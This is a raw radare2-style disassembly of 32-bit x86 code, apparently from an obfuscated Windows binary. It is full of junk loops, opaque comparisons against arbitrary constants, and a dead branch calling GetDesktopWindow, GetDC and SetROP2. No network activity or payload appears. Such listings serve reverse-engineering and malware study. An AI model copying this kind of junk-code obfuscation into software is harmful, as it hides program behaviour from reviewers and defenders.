call fcn.0042713b
mov dword [ebp - 0xab4], eax
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x1a5c]
call fcn.0042713b
mov ecx, dword [ebp - 0xab4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x12b4]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xab4]
cmp dword [ecx], eax
je 0x46bcae
mov dword [ebp - 0x100c], 1
jmp 0x46bcb5
and dword [ebp - 0x100c], 0
cmp dword [ebp - 0x100c], 0
je 0x46bcdc
push 0
lea ecx, [ebp - 0x1a4c]
call fcn.0042713b
cmp dword [eax], 0
je 0x46bcdc
mov dword [ebp - 0xabc], 1
jmp 0x46bce3
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x3a4], eax
jmp 0x46bb96
mov dword [ebp - 0x16c], 0xffffffeb
jmp 0x46bd0d
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x1a
je 0x46bf0d
mov dword [ebp - 0x37c], 1
mov dword [ebp - 0x3a4], 0
jmp 0x46bd3d
mov eax, dword [ebp - 0x3a4]
dec eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0xfffffffe
jne 0x46bef5
mov dword [ebp - 0x30c], 1
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x1dac], eax
cmp dword [ebp - 0x64], 0
jne 0x46be94
cmp dword [ebp - 0x32c], 9
jb 0x46bd7f
mov dword [ebp - 0x140c], 1
jmp 0x46bd86
and dword [ebp - 0x140c], 0
cmp dword [ebp - 0x140c], 0x97e65fbc
jbe 0x46bd9e
mov dword [ebp - 0xac4], 1
jmp 0x46bda5
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xac4]
jle 0x46bdc2
cmp dword [ebp - 0x37c], 0
jne 0x46bdc2
and dword [ebp - 0x1014], 0
jmp 0x46bdcc
mov dword [ebp - 0x1014], 1
cmp dword [ebp - 0x1014], 0x61e7
jl 0x46bde4
mov dword [ebp - 0x1914], 1
jmp 0x46bdeb
and dword [ebp - 0x1914], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1db4], eax
push 0
lea ecx, [ebp - 0x1a4c]
call fcn.0042713b
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1dbc], eax
cmp dword [ebp - 0x37c], 0x56a759f3
jge 0x46be25
mov dword [ebp - 0xacc], 1
jmp 0x46be2c
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0xacc]
sub eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0x37c]
sub eax, 9
jne 0x46be56
cmp dword [ebp - 0x37c], 0
jne 0x46be56
and dword [ebp - 0x12bc], 0
jmp 0x46be60
mov dword [ebp - 0x12bc], 1
cmp dword [ebp - 0x12bc], 0xf88d
jl 0x46be78
mov dword [ebp - 0xad4], 1
jmp 0x46be7f
and dword [ebp - 0xad4], 0
cmp dword [ebp - 0xad4], 0xbb265d63
ja 0x46be94
and dword [ebp - 0x191c], 0
jmp 0x46be9e
mov dword [ebp - 0x191c], 1
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1dc4], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x30c], 0xffffffed
jmp 0x46becf
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xb
je 0x46bef0
mov dword [ebp - 0x1924], 0x435d7d23
mov eax, dword [ebp - 0x1924]
mov dword [ebp - 0x192c], eax
jmp 0x46bec2
jmp 0x46bd30
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x37c]
mov dword [ebp + eax - 0x1e8c], ecx
jmp 0x46bd00
jmp 0x46bb5c
lea ecx, [ebp - 0x1a4c]
call fcn.0042711f
jmp 0x46badc
mov dword [ebp - 0x32c], 0
jmp 0x46bf3b
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jg 0x46bf72
mov dword [ebp - 0x64], 0
jmp 0x46bf54
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x46bf70
push dword [ebp - 0x64]
lea ecx, [ebp - 0x1a5c]
call fcn.0042713b
mov dword [eax], 0xe64bfce9
jmp 0x46bf4d
jmp 0x46bf2e
lea ecx, [ebp - 0x1a5c]
call fcn.0042711f
mov dword [ebp - 0x78], 0xa48bbca6
push 1
lea ecx, [ebp - 0x1a7c]
call fcn.0042704d
mov dword [ebp - 0x33c], 0xfffffff7
mov dword [ebp - 0x12c], 0
jmp 0x46bfb4
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 1
jge 0x46bfd6
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1a7c]
call fcn.0042713b
mov dword [eax], 0xfffffff7
jmp 0x46bfa7
mov dword [ebp - 0x12c], 0
jmp 0x46bfef
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x46c00b
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x1e98], 0xe70d5dd2
jmp 0x46bfe2
mov dword [ebp - 0x78], 0
jmp 0x46c01b
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xfffffff3
jge 0x46c45a
mov dword [ebp - 0x20c], 0xfffffff9
push 1
lea ecx, [ebp - 0x1a6c]
call fcn.0042704d
mov dword [ebp - 0x3bc], 1
mov dword [ebp - 0x1954], 1
mov dword [ebp - 0x7dc], 0
jmp 0x46c069
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 1
jge 0x46c088
push dword [ebp - 0x7dc]
lea ecx, [ebp - 0x1a6c]
call fcn.0042713b
and dword [eax], 0
jmp 0x46c05c
mov dword [ebp - 0x20c], 0
jmp 0x46c0a1
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jl 0x46c44a
mov dword [ebp - 0xa4], 0xaeb9ae77
mov dword [ebp - 0x184], 0xc9a130df
mov dword [ebp - 0xa4], 0
jmp 0x46c0db
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jg 0x46c22c
mov dword [ebp - 0x1934], 6
mov eax, dword [ebp - 0x1934]
mov dword [ebp - 0x1dcc], eax
cmp dword [ebp - 0x20c], 5
jg 0x46c113
mov dword [ebp - 0x101c], 1
jmp 0x46c11a
and dword [ebp - 0x101c], 0
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x101c], eax
jle 0x46c134
mov dword [ebp - 0xadc], 1
jmp 0x46c13b
and dword [ebp - 0xadc], 0
push 0
lea ecx, [ebp - 0x1a6c]
call fcn.0042713b
mov ecx, dword [ebp - 0xadc]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0xa4]
jl 0x46c164
mov dword [ebp - 0x151c], 1
jmp 0x46c16b
and dword [ebp - 0x151c], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x151c]
je 0x46c185
mov dword [ebp - 0xae4], 1
jmp 0x46c18c
and dword [ebp - 0xae4], 0
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x1a7c]
call fcn.0042713b
mov dword [ebp - 0x1024], eax
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1a7c]
call fcn.0042713b
mov ecx, dword [ebp - 0x1024]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xae4]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x1024]
cmp dword [ecx], eax
je 0x46c1e6
mov dword [ebp - 0xaec], 1
jmp 0x46c1ed
and dword [ebp - 0xaec], 0
cmp dword [ebp - 0xaec], 0
je 0x46c214
push 0
lea ecx, [ebp - 0x1a6c]
call fcn.0042713b
cmp dword [eax], 0
je 0x46c214
mov dword [ebp - 0x12c4], 1
jmp 0x46c21b
and dword [ebp - 0x12c4], 0
mov eax, dword [ebp - 0x12c4]
mov dword [ebp - 0x3bc], eax
jmp 0x46c0ce
mov dword [ebp - 0x184], 0xffffffeb
jmp 0x46c245
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x1a
je 0x46c445
mov dword [ebp - 0x384], 1
mov dword [ebp - 0x3bc], 0
jmp 0x46c275
mov eax, dword [ebp - 0x3bc]
dec eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0xfffffffe
jne 0x46c42d
mov dword [ebp - 0x334], 1
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x1dd4], eax
cmp dword [ebp - 0x78], 0
jne 0x46c3cc
cmp dword [ebp - 0x33c], 9
jb 0x46c2b7
mov dword [ebp - 0xaf4], 1
jmp 0x46c2be
and dword [ebp - 0xaf4], 0
cmp dword [ebp - 0xaf4], 0x97e65fbc
jbe 0x46c2d6
mov dword [ebp - 0x102c], 1
jmp 0x46c2dd
and dword [ebp - 0x102c], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x102c]
jle 0x46c2fa
cmp dword [ebp - 0x384], 0
jne 0x46c2fa
and dword [ebp - 0xafc], 0
jmp 0x46c304
mov dword [ebp - 0xafc], 1
cmp dword [ebp - 0xafc], 0x61e7
jl 0x46c31c
mov dword [ebp - 0x193c], 1
jmp 0x46c323
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1ddc], eax
push 0
lea ecx, [ebp - 0x1a6c]
call fcn.0042713b
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1de4], eax
cmp dword [ebp - 0x384], 0x56a759f3
jge 0x46c35d
mov dword [ebp - 0x1414], 1
jmp 0x46c364
and dword [ebp - 0x1414], 0
mov eax, dword [ebp - 0x1414]
sub eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x384]
sub eax, 9
jne 0x46c38e
cmp dword [ebp - 0x384], 0
jne 0x46c38e
and dword [ebp - 0xb04], 0
jmp 0x46c398
mov dword [ebp - 0xb04], 1
cmp dword [ebp - 0xb04], 0xf88d
jl 0x46c3b0
mov dword [ebp - 0x1034], 1
jmp 0x46c3b7
and dword [ebp - 0x1034], 0
cmp dword [ebp - 0x1034], 0xbb265d63
ja 0x46c3cc
and dword [ebp - 0x1944], 0
jmp 0x46c3d6
mov dword [ebp - 0x1944], 1
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1dec], eax
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x334], 0xffffffed
jmp 0x46c407
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0xb
je 0x46c428
mov dword [ebp - 0x194c], 0x435d7d23
mov eax, dword [ebp - 0x194c]
mov dword [ebp - 0x1954], eax
jmp 0x46c3fa
jmp 0x46c268
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x384]
mov dword [ebp + eax - 0x1e98], ecx
jmp 0x46c238
jmp 0x46c094
lea ecx, [ebp - 0x1a6c]
call fcn.0042711f
jmp 0x46c014
mov dword [ebp - 0x33c], 0
jmp 0x46c473
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0
jg 0x46c4aa
mov dword [ebp - 0x78], 0
jmp 0x46c48c
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x46c4a8
push dword [ebp - 0x78]
lea ecx, [ebp - 0x1a7c]
call fcn.0042713b
mov dword [eax], 0xe64bfce9
jmp 0x46c485
jmp 0x46c466
lea ecx, [ebp - 0x1a7c]
call fcn.0042711f
mov dword [ebp - 0x26c], 0x56915a13
push 1
lea ecx, [ebp - 0x1d0c]
call fcn.0042704d
mov dword [ebp - 0xf4], 0
jmp 0x46c4e5
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x46c501
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x274], 1
jmp 0x46c4d8
mov dword [ebp - 0xf4], 0
jmp 0x46c51a
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x46c53c
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1d0c]
call fcn.0042713b
mov dword [eax], 7
jmp 0x46c50d
mov dword [ebp - 0x26c], 0xffffffff
mov dword [ebp - 0x26c], 0
jmp 0x46c55f
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jg 0x46c723
mov dword [ebp - 0xcc], 0xfffffffc
mov dword [ebp - 0xb0c], 0xffffffff
mov dword [ebp - 0x103c], 5
mov dword [ebp - 0x195c], 0xd6273d59
mov dword [ebp - 0xcc], 0
jmp 0x46c5ad
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x46c71e
mov eax, dword [ebp - 0xcc]
cmp dword [ebp + eax*4 - 0x274], 0
je 0x46c5fc
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x1df4], eax
mov dword [ebp - 0xb0c], 0xfadacd7d
cmp dword [ebp - 0xb0c], 0
je 0x46c5fc
mov dword [ebp - 0x12cc], 1
jmp 0x46c603
and dword [ebp - 0x12cc], 0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0x274]
cmp dword [ebp - 0x12cc], eax
jl 0x46c624
mov dword [ebp - 0xb14], 1
jmp 0x46c62b
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0xb14]
mov dword [ebp - 0x103c], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0x274]
cmp eax, dword [ebp - 0x103c]
jl 0x46c658
mov dword [ebp - 0xb1c], 1
jmp 0x46c65f
and dword [ebp - 0xb1c], 0
cmp dword [ebp - 0xb1c], 0xacee
jge 0x46c677
mov dword [ebp - 0x14bc], 1
jmp 0x46c67e
and dword [ebp - 0x14bc], 0
cmp dword [ebp - 0x14bc], 0x2d3f
jl 0x46c696
mov dword [ebp - 0xb24], 1
jmp 0x46c69d
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0xb24], eax
jge 0x46c6b7
mov dword [ebp - 0x1044], 1
jmp 0x46c6be
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0x274]
cmp eax, dword [ebp - 0x1044]
jne 0x46c6ec
mov eax, dword [ebp - 0xcc]
cmp dword [ebp + eax*4 - 0x274], 0
jne 0x46c6ec
and dword [ebp - 0xb2c], 0
jmp 0x46c6f6
mov dword [ebp - 0xb2c], 1
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0x195c], eax
push 0
lea ecx, [ebp - 0x1d0c]
call fcn.0042713b
cmp dword [eax], 0
je 0x46c719
jmp 0x46c5a0
jmp 0x46c5a0
jmp 0x46c552
lea ecx, [ebp - 0x1d0c]
call fcn.0042711f
and dword [ebp - 4], 0
cmp dword [ebp - 0x12d4], 0x49a2
jge 0x46c74e
mov edx, dword [ebp - 0x1964]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x46c76a
or dword [ebp - 4], 0xffffffff
jmp 0x46c774
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x6c], 0
push 1
lea ecx, [ebp - 0x9b8]
call fcn.0042704d
mov dword [ebp - 0x197c], 0
mov dword [ebp - 0x1dfc], 1
mov dword [ebp - 0x1e04], 0x7d4e0d3b
mov dword [ebp - 0x1e0c], 0xb0fa
mov dword [ebp - 0x1e14], 0xfffffff6
mov dword [ebp - 0x1e1c], 0x64f5e99a
mov dword [ebp - 0x107c], 0x15fbe5b5
mov dword [ebp - 0x440], 0
jmp 0x46c7ee
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 1
jge 0x46c810
push dword [ebp - 0x440]
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
mov dword [eax], 0xbfc75daa
jmp 0x46c7e1
cmp dword [ebp - 0x20], 0
je 0x46c965
mov dword [ebp - 0x6c], 1
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], eax
je 0x46c835
mov dword [ebp - 0xb34], 1
jmp 0x46c83c
and dword [ebp - 0xb34], 0
cmp dword [ebp - 0xb34], 0
jb 0x46c851
mov dword [ebp - 0x104c], 1
jmp 0x46c858
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x104c], eax
jg 0x46c874
or eax, 0xffffffff
je 0x46c874
mov dword [ebp - 0xb3c], 1
jmp 0x46c87b
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xb3c], eax
jne 0x46c892
mov dword [ebp - 0x141c], 1
jmp 0x46c899
and dword [ebp - 0x141c], 0
cmp dword [ebp - 0x141c], 0xfffffffe
jg 0x46c8b3
xor eax, eax
inc eax
je 0x46c8b3
mov dword [ebp - 0xb44], 1
jmp 0x46c8ba
and dword [ebp - 0xb44], 0
imul eax, dword [ebp - 0xb44], 0x101e
add eax, 0xddbf
cmp dword [ebp - 0x6c], eax
jl 0x46c8da
mov dword [ebp - 0x1054], 1
jmp 0x46c8e1
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1054], eax
je 0x46c8f8
mov dword [ebp - 0xb4c], 1
jmp 0x46c8ff
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xb4c], eax
jle 0x46c916
mov dword [ebp - 0x12dc], 1
jmp 0x46c91d
and dword [ebp - 0x12dc], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x12dc], eax
jl 0x46c934
mov dword [ebp - 0x998], 1
jmp 0x46c93b
and dword [ebp - 0x998], 0
push 0
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
mov ecx, dword [ebp - 0x998]
mov dword [eax], ecx
cmp dword [ebp - 0x998], 0
je 0x46c965
mov dword [ebp - 0xb54], 1
jmp 0x46c96c
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x6c], 0x867a7bf7
jbe 0x46cc7c
mov dword [ebp - 0x970], 0x4f57b17b
mov dword [ebp - 0xb5c], 0x126315bf
mov dword [ebp - 0x196c], 0x4eca
mov dword [ebp - 0x6c], 0
jmp 0x46c9aa
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x46cc7a
mov dword [ebp - 0x650], 9
mov dword [ebp - 0x20], 0
jmp 0x46c9ce
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x46cc75
mov dword [ebp - 0x1074], 0x79ab6733
mov eax, dword [ebp - 0x650]
inc eax
mov dword [ebp - 0x650], eax
mov eax, dword [ebp - 0x970]
inc eax
mov dword [ebp - 0x970], eax
mov esi, dword [ebp - 0x970]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
cmp esi, dword [eax]
jge 0x46ca20
mov dword [ebp - 0xb8c], 1
jmp 0x46ca27
and dword [ebp - 0xb8c], 0
push 0
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
cmp dword [eax], 0xffff
jb 0x46ca48
mov dword [ebp - 0xb74], 1
jmp 0x46ca4f
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb5c], 0
je 0x46cb56
push 0
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x46ca80
push 5
pop eax
test eax, eax
jne 0x46ca80
and dword [ebp - 0x105c], 0
jmp 0x46ca8a
mov dword [ebp - 0x105c], 1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
mov ecx, dword [ebp - 0x105c]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x20]
jl 0x46cab2
mov dword [ebp - 0x1580], 1
jmp 0x46cab9
and dword [ebp - 0x1580], 0
mov eax, dword [ebp - 0xb5c]
cmp dword [ebp - 0x1580], eax
jge 0x46cad3
mov dword [ebp - 0xb64], 1
jmp 0x46cada
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0xb64]
dec eax
cmp eax, 0x199e
jl 0x46cafa
cmp dword [ebp - 0x196c], 0
jne 0x46cafa
and dword [ebp - 0x1064], 0
jmp 0x46cb04
mov dword [ebp - 0x1064], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1064], eax
jne 0x46cb1b
mov dword [ebp - 0xb6c], 1
jmp 0x46cb22
and dword [ebp - 0xb6c], 0
cmp dword [ebp - 0xb6c], 0x2426
jle 0x46cb3a
mov dword [ebp - 0x12e4], 1
jmp 0x46cb41
and dword [ebp - 0x12e4], 0
cmp dword [ebp - 0x12e4], 0x7b8a5f0
jne 0x46cb56
and dword [ebp - 0x1974], 0
jmp 0x46cb60
mov dword [ebp - 0x1974], 1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
cmp dword [eax], 0x88dfef28
jb 0x46cb8b
cmp dword [ebp - 0x650], 0
je 0x46cb8b
mov dword [ebp - 0x106c], 1
jmp 0x46cb92
and dword [ebp - 0x106c], 0
mov eax, dword [ebp - 0xb74]
cmp eax, dword [ebp - 0x106c]
jne 0x46cbb5
mov eax, 0x486d4d4
test eax, eax
je 0x46cbb5
mov dword [ebp - 0xb7c], 1
jmp 0x46cbbc
and dword [ebp - 0xb7c], 0
push 0
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
mov esi, dword [ebp - 0xb7c]
sub esi, dword [eax]
sub esi, dword [ebp - 0x650]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9b8]
call fcn.0042713b
cmp esi, dword [eax]
jle 0x46cbf5
mov dword [ebp - 0x1424], 1
jmp 0x46cbfc
and dword [ebp - 0x1424], 0
cmp dword [ebp - 0x1424], 0x8f5b
jg 0x46cc14
mov dword [ebp - 0xb84], 1
jmp 0x46cc1b
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x1074], eax
mov eax, dword [ebp - 0x1074]
cmp dword [ebp - 0xb8c], eax
jge 0x46cc41
mov dword [ebp - 0x12ec], 1
jmp 0x46cc48
and dword [ebp - 0x12ec], 0
cmp dword [ebp - 0x12ec], 0xffffffff
je 0x46cc5d
mov dword [ebp - 0xb94], 1
jmp 0x46cc64
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0xb94]
mov dword [ebp - 0x197c], eax
jmp 0x46c9c7
jmp 0x46c9a3
jmp 0x46cc82
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x20], 0
jmp 0x46cc92
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x46cd65
mov dword [ebp - 0x1e24], 0xbaf34c
mov dword [ebp - 0x1e2c], 9
mov dword [ebp - 0x1e34], 9
mov dword [ebp - 0x1e3c], 9
mov dword [ebp - 0x1e44], 0x14be5697
mov dword [ebp - 0x1e4c], 0x3e8228f8
mov dword [ebp - 0x1e54], 0x6f18880a
mov dword [ebp - 0x1e5c], 0xd6ffba4b
mov dword [ebp - 0x1e64], 1
mov dword [ebp - 0x1e6c], 0xf75fbd26
mov dword [ebp - 0x1e74], 0xbbd88186
mov dword [ebp - 0x1f94], 3
mov dword [ebp - 0x1f9c], 0xc049d9bb
mov dword [ebp - 0x448], 0
jmp 0x46cd37
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 2
jge 0x46cd53
mov eax, dword [ebp - 0x448]
mov dword [ebp + eax*4 - 0x2484], 0xe83987ed
jmp 0x46cd2a
mov eax, dword [ebp - 0x107c]
inc eax
mov dword [ebp - 0x107c], eax
jmp 0x46cc8b
lea ecx, [ebp - 0x9b8]
call fcn.0042711f
mov dword [ebp - 0x10d4], 0x7e90
mov dword [ebp - 0x1fa4], 0x6c05baf4
mov dword [ebp - 0x1fac], 0xfffffffb
mov dword [ebp - 0x1fb4], 0
mov dword [ebp - 0x1fbc], 0x4074dd03
mov dword [ebp - 0x1fc4], 0xa6e6f7fb
mov dword [ebp - 0x1fcc], 0x54320e32
mov dword [ebp - 0x14c], 0
jmp 0x46cdcf
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jge 0x46cdeb
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x1fd4], 0xfffffffc
jmp 0x46cdc2
mov dword [ebp - 0x14c], 0
jmp 0x46ce04
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 3
jge 0x46ce20
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x225c], 0xfffffffa
jmp 0x46cdf7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x225c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x225c], eax
mov byte [ebp - 0x1dc], 0
movzx eax, byte [ebp - 0x1dc]
test eax, eax
je 0x46ce66
push 0x128c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x74], 0xa48bbca6
push 1
lea ecx, [ebp - 0x1a9c]
call fcn.0042704d
mov dword [ebp - 0x34c], 0xfffffff7
mov dword [ebp - 0xfc], 0
jmp 0x46ce9d
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jge 0x46cebf
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x1a9c]
call fcn.0042713b
mov dword [eax], 0xfffffff7
jmp 0x46ce90
mov dword [ebp - 0xfc], 0
jmp 0x46ced8
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x46cef4
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x1ea4], 0xe70d5dd2
jmp 0x46cecb
mov dword [ebp - 0x74], 0
jmp 0x46cf04
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xfffffff3
jge 0x46d343
mov dword [ebp - 0x214], 0xfffffff9
push 1
lea ecx, [ebp - 0x1a8c]
call fcn.0042704d
mov dword [ebp - 0x3ac], 1
mov dword [ebp - 0x19a4], 1
mov dword [ebp - 0x75c], 0
jmp 0x46cf52
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 1
jge 0x46cf71
push dword [ebp - 0x75c]
lea ecx, [ebp - 0x1a8c]
call fcn.0042713b
and dword [eax], 0
jmp 0x46cf45
mov dword [ebp - 0x214], 0
jmp 0x46cf8a
mov eax, dword [ebp - 0x214]
dec eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jl 0x46d333
mov dword [ebp - 0xac], 0xaeb9ae77
mov dword [ebp - 0x194], 0xc9a130df
mov dword [ebp - 0xac], 0
jmp 0x46cfc4
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jg 0x46d115
mov dword [ebp - 0x1984], 6
mov eax, dword [ebp - 0x1984]
mov dword [ebp - 0x1fdc], eax
cmp dword [ebp - 0x214], 5
jg 0x46cffc
mov dword [ebp - 0xb9c], 1
jmp 0x46d003
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0xb9c], eax
jle 0x46d01d
mov dword [ebp - 0x14c4], 1
jmp 0x46d024
and dword [ebp - 0x14c4], 0
push 0
lea ecx, [ebp - 0x1a8c]
call fcn.0042713b
mov ecx, dword [ebp - 0x14c4]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0xac]
jl 0x46d04d
mov dword [ebp - 0xba4], 1
jmp 0x46d054
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0xba4]
je 0x46d06e
mov dword [ebp - 0x1084], 1
jmp 0x46d075
and dword [ebp - 0x1084], 0
push dword [ebp - 0x214]
lea ecx, [ebp - 0x1a9c]
call fcn.0042713b
mov dword [ebp - 0xbac], eax
push dword [ebp - 0xac]
lea ecx, [ebp - 0x1a9c]
call fcn.0042713b
mov ecx, dword [ebp - 0xbac]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1084]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0xbac]
cmp dword [ecx], eax
